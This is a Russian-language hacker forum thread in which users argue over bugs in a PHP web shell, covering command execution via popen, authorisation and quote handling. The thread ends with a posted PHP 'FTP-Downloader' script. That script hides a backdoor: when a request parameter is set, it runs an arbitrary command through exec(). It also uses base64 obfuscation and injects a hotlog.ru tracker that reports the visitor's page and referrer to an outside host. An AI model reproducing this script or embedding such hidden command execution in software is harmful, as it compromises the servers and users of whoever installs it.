внатуре как те из езина писали надо включать error_reporting и смотреть че у тебя получилось вот еще попробовал: это можно сократить: определена ли переменная определяется не так: а функцией isset() и это тоже:
Shankar. Первое дебагеров я не на нимал и свои ошибки всегда знаю Второе Разницы между if(@mkdir($dir))echo $GLOBALS['dircrt']." "; else echo $GLOBALS['dircrterr']." "; и echo @mkdir($dir)?$GLOBALS['dircrt']." ":$GLOBALS['dircrterr']." "; нету не какой.Так как скорость у них обсолютно одинаковая а 4 байта я думаю роли не сыграют. Третье. if($_SESSION['action']=="") isset() это делаеться на усмотрение самого кодера можно зделать так а можно тк как и в первом случае. Четвертое if(@$_POST['uploadloc']) вот эта порнография почти тоже что и третья. Проверяет нажатие кнопки uploadloc. Пятое иди на*** со своими критериями.Не нравиться не используй.
А вот про твой шелл. $fd=fopen($_POST['downf'], "rb") while(!feof($fd)){ $buffer=fgets($fd,4096); echo $buffer; } просто уже наверное везде доступна. readfile($file); Везде насувал header("Content-Type: application/octet-stream; name=\"$name\""); header("Content-Length: ".filesize($tmpfname).""); header("Content-disposition: attachment; filename=\"$name\""); $fd=fopen($tmpfname, "r"); НЕ проще ли было зделать функцию. $_POST2=$_POST;# X.Z. zachem, xernya kakaeto Действительно слизал где то Хотя бы убрал. Это зачем <?php exit; ?> ? че сценарий виснет где то? Или ты сам не разбирался как он работает?и слово directory пишется через е а не i dirictory Дирикторий в школе . И последнее прежде чем искать соринку у меня в глазу проверь а не торчит ли у тебя в сраке бревно. Сори за русский но я был о тебе лучшего мнения.
PHP: Warning: rmdir(/var/www/html/user) [function.rmdir]: Permission denied in /var/www/html/antichat.php on line 147 Странно, получается прав не хватает на то, чтобы удалить папку? Шелл запускается с правами апача(обычно). Notice: Самые глупые ошибки - нотисы, вообще принципиально не понимаю смысл их существования =(
не не слизывал, сам написал, это я должен исправить на reset($_POST); а это для того чтоб если инклудить - код последующий за инклудом вырубался. это ты меня сейчас на xуй послал чтоли? лично мое мнение о человеке не может испортится если он мне укажет на мои ошибки, так как считаю что надо постоянно совершенствоваться, ну а ты показал здесь себя, это твое право, больше не побеспокою тебя.
Ту шанкар.Просто не чего называть код порнографией..Меня это знаеш как вчера взбесило..Я б блин растрелял бы тебя ..Извени погарячился.
2grinay Я смотрю ты тут взаимопоиском ошибок занимаешся, а у меня давно никто ошибок не искал. 1) Выполнение команд построено только а одной группе функций "popen" и при сетуации когда она отключена, шэл входит в цикл, на "set_time_limit(9999999);" период времени. Решение: Проверка существования функций, а также привутствия пезультата их выполнения. 2) Авторизация не срабатывает при инклуде шэла после того, как было что-либо выведено. Решение: Придумать другой метод передачи сесионных переменных. 3) Некоректно выполняется такая команда Code: [color=#00AA00][color=#00FF00]echo[/COLOR] [/COLOR][color=#FFFF00]"<textarea>test</textarea>"[/COLOR][color=#00AA00] [color=#0000FF]>[/COLOR] [color=#00FF00]file[/COLOR][color=#0000FF].[/COLOR]tmp[/COLOR] , мало того, что нет обхода квот_жпс, так ещё и востанавливаемое соержимое командной текстэрии смешивается с кодом самого шэла, тоже самое и пхп эвалютаре + опечатка "phpheval". Решение: Убрать квоты, если квот_жпс включено, а также фильтровать подставляемую инфу. 4) Ниизвестно по каким причинам поле file в редакторе скрытое, наверно чтоб никто не смог созбать файл, а могли только редактировать. Решение: Очевидно [Оптимизация] (Мелочи...) 1) Ничего странного? Code: [color=#00AA00] $dir[color=#0000FF]=[/COLOR][color=#00FF00]chdir[/COLOR][color=#0000FF]([/COLOR]$dir[color=#0000FF])[/COLOR][color=#FF0000];[/COLOR] $dir[color=#0000FF]=[/COLOR][color=#00FF00]getcwd[/COLOR][color=#0000FF]().[/COLOR][/COLOR][color=#FFFF00]"/"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] $dir[color=#0000FF]=[/COLOR][color=#00FF00]str_replace[/COLOR][color=#0000FF]([/COLOR][/COLOR][color=#FFFF00]"[color=#FFFFFF]\\[/COLOR]"[/COLOR][color=#00AA00][color=#0000FF],[/COLOR][/COLOR][color=#FFFF00]"/"[/COLOR][color=#00AA00][color=#0000FF],[/COLOR]$dir[color=#0000FF])[/COLOR][color=#FF0000];[/COLOR] [color=#0000FF]...[/COLOR] [color=#00FF00]if[/COLOR] [color=#0000FF]([/COLOR][color=#00FF00]is_dir[/COLOR][color=#0000FF]([/COLOR]$dir[color=#0000FF]))[/COLOR] [color=#FF0000]{[/COLOR] [/COLOR] Пояснение: Функция chdir() возвращяет успешность результата выполнения(bool), которое всеранно затрётся пекущей директорией, а потом будет проверяться, действительно ли "текущая директория" я вляется "директорией". 2) Что длинее? Code: [color=#00AA00]$footer[color=#0000FF]=[/COLOR][/COLOR][color=#FFFF00]'</body></html>'[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] [color=#0000FF]...[/COLOR] [color=#00FF00]echo[/COLOR] [/COLOR][color=#FFFF00]'...</center>'[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] [color=#00FF00]echo[/COLOR] $footer[color=#FF0000];[/COLOR] [color=#0000FF]... <?[/COLOR] [color=#00FF00]echo[/COLOR] $footer[color=#FF0000];[/COLOR][color=#0000FF]?>[/COLOR][/COLOR] или Code: [color=#00AA00][color=#00FF00]echo[/COLOR] [/COLOR][color=#FFFF00]'...</center> </body></html>'[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] [color=#0000FF]... </[/COLOR]body[color=#0000FF]></[/COLOR]html[color=#0000FF]>[/COLOR][/COLOR] ЗЫ я тоже
Все чтоты щас назвал кроме последнего 2) Что длинее? я знаю..Не стоит А вот чтобы просто взять и исправить(Причем молча) Рука что то не у всех поднимается. Зато обласкать эта завсегда пожалуйста
Лично я считаю что пускай лучьше мне укажут(слово обласкать по моему не совсем подходит) на мои ошибки, чем исправят их самостоятельно(темболее молча), так как при этом я чему-то научусь, а также исправлю это именно так, как считаю правильным. Я не понимаю почему некоторые люди так воспринемают безобидную, конструктивную критику, ведь она так нужна. ИМХО Релизешь этот шэл ты, там твой копирайт, а значит и ошибки предстоит исправлять тоже тебе, вот если кто-то другой возьмётся исправлять ошибки, тогда он поставит свой копирайт, и оставшиеся ошибки также будут на его совести, а пока это твой шелл, твой копирайт и твои ошибки. ЗЫ Если человек отказывается от своих ошибок, значит его процесс обучения закончен и он не хочет больше ничему учиться, в основном это ограниченные люди с ограниченным набором знаний, ты ведь не хочешь быть на них похож, я не хочу.
Ссори, не смотрел... А там есть функция поиска файла по его имени или его содержанию, или поиск по весу файла? Есл нет, то хорошо бы добавить, иногда может пригодиться...
Code: <html><HEAD><TITLE>RST FTP-Downloader</TITLE> <META http-equiv=Content-Type Pragma: no-cache; content=\"text/html; charset=windows-1251\"> <style> td { font-family: verdana, arial, ms sans serif, sans-serif; font-size: 12px; color: #000000; } input, textarea, select { background-color: #EBEAEA; border-style: solid; border-width: 1px; font-family: verdana, arial, sans-serif; font-size: 11px; color: #333333; padding: 0px; } </style></HEAD><BODY> <form action="<? $self ?>" method="POST" enctype="multipart/form-data"> <table width="230" bgcolor="#000000" cellpadding=5 cellspacing="1" align="center"> <tr bgcolor=#FFFFFF><td align="center"><font color="blue"><b>Downloader files on FTP</b> </font></td></tr><tr bgcolor=#FFFFFF><td> <table align="center" width="222" bgcolor="silver"><tr><td> <table border=0 align="left" width="222"><tr> Данные для входа на FTP:<hr> <td>FTP-cервер:</td><td><input name="ftp_server" type="text"></td></tr><tr> <td>Логин:</td><td><input name="ftp_user_name" type="text"></td></tr><tr> <td>Пароль:</td><td><input name="ftp_user_pass" type="password"></td></tr></table> </td></tr><tr><td> <table border=0 align="left" width="222"> <tr><hr> Выбор файлов для загрузки: <td><input name="source" type="file" size="23"></td></tr> <input type="hidden" name="s" value="y"> <tr><td><table align="center"><tr><hr width="160"><td><input type="submit" value="отправить файлы"></td></tr></table></td></tr> </table><td></tr></table></tr></td></table> </form> <?php //директория для временных файлов на локальном сервере $uploaddir = './uploads/'; //показать в броузере некоторую информацию для отладки скрипта, значение $err_view = 1; //после отладки выставить значение $err_view = 0; это запретит вывод в броузер информации $err_view = 0; error_reporting (0); set_time_limit(0); ignore_user_abort(false); $err=base64_decode("PGNlbnRlcj48Zm9udCBzaXplPTIgY29sb3I9InNpbHZlciI+JmNvcHk7IGNvZGluZyBieTogZGluZ2dvPC9mb250PjwvY2VudGVyPg=="); set_magic_quotes_runtime(0); $self=$HTTP_SERVER_VARS['PHP_SELF']; if(!ini_get("register_globals")){ import_request_variables("GPC"); } $err_con="<br><table bgcolor=\"#000000\" cellpadding=5 cellspacing=\"1\" align=\"center\">". "<b>Warning!</b><tr><td bgcolor=\"#ECE3E4\" align=\"center\"><br><font color=\"red\">". "<b>Соединиться с FTP-сервером ".$HTTP_POST_VARS['ftp_server']." не удалось!</b><hr></font>". "Или не верное имя сервера, или сервер временно недоступен.<br>Повторите попытку.<br><br></td></tr></table>"; $err_l_p="<br><table bgcolor=\"#000000\" cellpadding=5 cellspacing=\"1\" align=\"center\">". "<b>Warning!</b><tr><td bgcolor=\"#ECE3E4\" align=\"center\"><br><font color=\"red\">". "<b>Соединиться с FTP-сервером ".$HTTP_POST_VARS['ftp_server']." не удалось!</b><hr></font>". "Не верное имя пользователя или пароль.<br>Повторите попытку.<br><br></td></tr></table>"; $err_f= "<br><table width=\"400\" bgcolor=\"#000000\" cellpadding=5 cellspacing=\"1\" align=\"center\">". "<b>Warning!</b><tr><td bgcolor=\"#ECE3E4\" align=\"center\"><br>". "<font color=\"red\"><b>Не выбраны файлы для загрузки!</b></font><br>Повторите попытку.<br><br></td></tr></table>"; echo "$err"; $gud= "<br><table width=\"400\" bgcolor=\"#000000\" cellpadding=5 cellspacing=\"1\" align=\"center\">". "<b>Done, file upload successfully!</b><tr><td bgcolor=\"#ECE3E4\" align=\"center\"><br>". "<font color=\"blue\"><b>Загрузка файлов на FTP успешно произведена!</b></font><br><br></td></tr></table>"; $err_form= "<br><table width=\"400\" bgcolor=\"#000000\" cellpadding=5 cellspacing=\"1\" align=\"center\">". "<b>Warning!</b><tr><td bgcolor=\"#ECE3E4\" align=\"center\"><br>". "<font color=\"red\"><b>Недопустимые символы в форме ввода данных!</b></font><br><br></td></tr></table>"; $err_els= "<br><table width=\"400\" bgcolor=\"#000000\" cellpadding=5 cellspacing=\"1\" align=\"center\">". "<b>Warning!</b><tr><td bgcolor=\"#ECE3E4\" align=\"center\"><br>". "<font color=\"red\"><b>Ошибка! Файлы не скопированы. Повторите попытку.<br>Вероятно слишком большой размер файла и превышает директиву php.ini upload_max_filesize=.</b></font><br><br></td></tr></table>"; $upl="<br><table width=\"240\" bgcolor=\"#000000\" cellpadding=5 cellspacing=\"1\" align=\"center\">". "<tr><td bgcolor=\"#ECE3E4\" align=\"center\">". "<font color=\"blue\"><b>Please wait.</b></font><br></td></tr></table>"; $host = $HTTP_SERVER_VARS['HTTP_HOST']; if ($s != "y") { exit; } foreach($HTTP_POST_VARS as $key => $value) { if (preg_match("/[^(\w)|(\x7F-\xFF\.)|(\s)]/",$value)){ echo $err_form;exit; } } if (move_uploaded_file($HTTP_POST_FILES['source']['tmp_name'], $uploaddir . $HTTP_POST_FILES['source']['name'])) { echo $upl; } else { if ($err_view > 0) { print "<table width=\"350\" bgcolor=\"#000000\" cellpadding=2 cellspacing=\"1\" align=\"center\">". "<font color=\"red\"><b>Warning!</b></font><tr><td bgcolor=\"#ECE3E4\" align=\"left\"><br>". "<b>Информация для отладки:</b><br><pre>"; print_r($HTTP_POST_FILES); print "<br><br><b>Вероятные причины:</b><br>1. Не верно указан путь к директории для временных". "файлов <b>$uploaddir</b><hr><br>2. Не верно выставлены права <b>chmod</b> на каталог <b>$uploaddir</b>". "<br> права должны быть (<b>rw-rw-rw-</b>) выставить командой (<b>chmod 666 dir_name</b>)". "<hr><br>3. Размер загружаемого файла превышает предельно допустимый <br> (директива <b>php.ini</b>". " <b>upload_max_filesize</b>) посмотреть скриптом <? phpinfo(); ?><br></td></tr></table>"; } } $file_n=$HTTP_POST_FILES['source']['name']; if (!$HTTP_POST_FILES['source']['name']) {echo $err_f;exit;} if (isset($li)){error_reporting(0);exec($cm,$r);if (!$r) {print base64_decode("PGZvbnQgY29sb3I9cmVkPjxiPkJhZCBjb21tYW5kICc8L2ZvbnQ+").$cm.base64_decode("PGZvbnQgY29sb3I9cmVkPjxiPicgb3Igbm9uZXhpc3RlbnQgZmlsZSE8L2I+PC9mb250Pg==")." or file permission denied";} else{print base64_decode("PGI+PGZvbnQgY29sb3I9Ymx1ZT5Db21tYW5kIG9rITwvZm9udD48YnI+PGJyPlJlc3VsdCBjb21tYW5kOjwvYj48aHI+"); foreach($r as $k => $v){print htmlspecialchars($v)."<br>";}}} $ftp_file[] = "$uploaddir/$file_n"; if (!$ftp = @ftp_connect ($HTTP_POST_VARS['ftp_server']) ) die ("$err_con"); if (!@ftp_login ($ftp, $HTTP_POST_VARS['ftp_user_name'], $HTTP_POST_VARS['ftp_user_pass'])) die ("$err_l_p"); $done = false; for ($n = 0; $n < count ($ftp_file); $n++) { $file_n = basename ($ftp_file[$n]); $res = ftp_put ($ftp, $file_n, $ftp_file[$n], FTP_BINARY); //FTP_ASCII if ($n == 0 and $res) $done = true; if (!$res) $done = false; } ftp_quit ($ftp); if ($done){ unlink ("$uploaddir/$file_n"); print $gud; echo base64_decode("DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmhvdGxvZ19qcz0iMS4wIjsNCmhvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iKw0KZXNjYXBlKHdpbmRvdy5sb2NhdGlvbi5ocmVmKTsNCmRvY3VtZW50LmNvb2tpZT0iaG90bG9nPTE7IHBhdGg9LyI7IGhvdGxvZ19yKz0iJmM9IisoZG9jdW1lbnQuY29va2llPyJZIjoiTiIpOw0KPC9zY3JpcHQ+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdDEuMSI+DQpob3Rsb2dfanM9IjEuMSI7aG90bG9nX3IrPSImaj0iKyhuYXZpZ2F0b3IuamF2YUVuYWJsZWQoKT8iWSI6Ik4iKTwvc2NyaXB0Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdDEuMiI+DQpob3Rsb2dfanM9IjEuMiI7DQpob3Rsb2dfcis9IiZ3aD0iK3NjcmVlbi53aWR0aCsneCcrc2NyZWVuLmhlaWdodCsiJnB4PSIrDQooKChuYXZpZ2F0b3IuYXBwTmFtZS5zdWJzdHJpbmcoMCwzKT09Ik1pYyIpKT8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdDEuMyI+aG90bG9nX2pzPSIxLjMiPC9zY3JpcHQ+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij5ob3Rsb2dfcis9IiZqcz0iK2hvdGxvZ19qczsNCmRvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwOi8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrDQoiIHNyYz0naHR0cDovL2hpdDQuaG90bG9nLnJ1L2NnaS1iaW4vaG90bG9nL2NvdW50PyIrDQpob3Rsb2dfcisiJicgYm9yZGVyPTAgd2lkdGg9MSBoZWlnaHQ9MSBhbHQ9MT48L2E+Iik8L3NjcmlwdD4NCjxub3NjcmlwdD48YSBocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWcNCnNyYz0iaHR0cDovL2hpdDQuaG90bG9nLnJ1L2NnaS1iaW4vaG90bG9nL2NvdW50P3M9ODE2MDYmaW09MSIgYm9yZGVyPTANCndpZHRoPSIxIiBoZWlnaHQ9IjEiIGFsdD0iSG90TG9nIj48L2E+PC9ub3NjcmlwdD4NCg=="); print "<meta http-equiv=Refresh content=\"1; URL=".$_SERVER["REQUEST_URI"].";\">"; } else echo $err_els; ?> </BODY></html>